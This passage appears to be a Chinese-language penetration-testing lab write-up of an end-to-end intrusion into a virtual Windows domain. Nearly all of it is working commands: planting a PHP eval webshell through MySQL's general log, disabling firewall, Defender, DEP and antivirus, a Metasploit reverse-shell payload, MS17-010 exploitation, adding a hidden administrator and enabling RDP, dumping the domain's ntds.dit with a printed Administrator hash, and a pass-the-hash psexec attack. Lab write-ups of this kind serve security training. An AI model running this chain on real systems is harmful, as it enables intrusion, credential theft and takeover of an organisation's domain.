1. select "test" into outfile "C:/phpStudy/WWW/test.php"; 2. 日志写shell mysql> show variables like '%general%'#先看下当前mysql默认的日志位置在什么地方,'C:\phpStudy\MySQL\data\stu1.log' 顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来 mysql> set global general_log = on#默认基本都是关闭的,不然这个增删改查的记录量可能会非常大 mysql> set global general_log_file = 'C:/phpStudy/WWW/test.php';#此时,再把原本的日志文件位置指向到目标网站的物理路径 mysql> select '<?php eval($_POST[request]);?>'#开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell
##写完之后记得恢复 mysql> set global general_log_file = 'C:\phpStudy\MySQL\data\stu1.log'; mysql> set global general_log = off;
成功写入shell
直接拿到管理员权限了
meterpreter后攻击
1 2 3 4 5
netsh advfirewall set allprofiles state off#关闭防火墙 net stop windefend netsh firewall set opmode mode=disable bcdedit.exe /set{current} nx AlwaysOff#关闭DEP meterpreter > run killav 关闭杀毒软件
设置代理
1 2 3 4 5 6 7 8 9 10
msfvenom -p php/meterpreter/reverse_tcp -a php -f raw > /tmp/2.php use exploit/multi/handler set payload php/meterpreter/reverse_tcp show options run autoroute -s 192.168.52.143 msf > use auxiliary/server/socks4a 设置socks4代理模块 msf auxiliary(socks4a) > show options msf auxiliary(socks4a) > run vim /etc/proxychains.conf 修改代理监听端口,和前面端口一致
用msf设置的代理不知道为啥不太稳定
于是我用reGeorg来设置代理
emmmm,还是ew好用
内网渗透
因为socks无法代理icmp协议(ping使用的),所以namp要用-Pn选项
1 2 3 4 5 6 7 8 9 10 11
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 13:50 ?D1��������?����?? Nmap scan report for 192.168.52.138 Host is up (0.00s latency). MAC Address: 00:0C:29:3F:5D:A9 (VMware) Nmap scan report for 192.168.52.141 Host is up (0.00s latency). MAC Address: 00:0C:29:6D:39:34 (VMware) Nmap scan report for www.qiyuanxuetang.net (192.168.52.143) Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 5.01 seconds
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 13:57 ?D1��������?����?? Nmap scan report for 192.168.52.138 Host is up (0.00031s latency). Not shown: 983 filtered ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl MAC Address: 00:0C:29:3F:5D:A9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.04 seconds
Running: Microsoft Windows 7|8|Vista|2008
192.168.52.141
1 2 3 4 5 6 7 8 9 10 11 12 13
21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 777/tcp open multiling-http 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1030/tcp open iad1 1031/tcp open iad2 6002/tcp open X11:2 7001/tcp open afs3-callback 7002/tcp open afs3-prserver 8099/tcp open unknown
Running: Microsoft Windows XP|2003
弱密码登陆ftp,发现啥也弄不了动不动500
因为操作系统比较旧,可以试试MS17-010,成功!
但是只有ms17_010_command才利用成功,只能一次一次set command来执行命令
后来找到cmd/windows/powershell_bind_tcp
能直接返回一个powershell
添加用户
1 2 3
net user ccreater Abc1234 /add net localgroup administrators ccreater /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
域控
1 2 3 4 5 6 7 8 9 10 11 12
net group "domain controllers" /domain 得到域控制器主机名:OWA wmic qfe 查询安装补丁 http://support.microsoft.com/?kbid=976902 OWA Update KB976902 GOD\Administrator 11/21/2010
net user /domain 查询域所有用户 ------------------------------------------------------------------------------- Administrator gqy Guest krbtgt ligang liukaifeng01
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q
NTDSDumpEx -d ntds.dit -s system -o domain.txt 得到hash Administrator:500:aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8:::
用msf上的exploit/windows/smb/psexec来进行pth攻击
1 2 3 4 5 6 7
use exploit/windows/smb/psexec set payload windows/meterpreter/bind_tcp set rhost xxx set lport xxx set rhosts 192.168.52.138 set smbuser Administrator set smbpass aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8